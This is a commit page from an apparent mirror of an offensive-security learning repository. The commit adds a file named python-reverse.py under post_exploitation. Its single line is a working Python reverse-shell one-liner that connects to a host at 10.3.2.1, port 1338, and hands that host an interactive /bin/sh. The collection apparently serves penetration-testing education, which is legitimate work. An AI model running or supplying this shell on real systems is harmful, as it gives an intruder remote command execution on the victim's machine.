mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-27 05:00:18 +00:00
Create python-reverse.py
This commit is contained in:
parent
b89523bce7
commit
a41e476789
1 changed files with 1 additions and 0 deletions
1
post_exploitation/python-reverse.py
Normal file
1
post_exploitation/python-reverse.py
Normal file
|
@ -0,0 +1 @@
|
||||||
|
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
Loading…
Reference in a new issue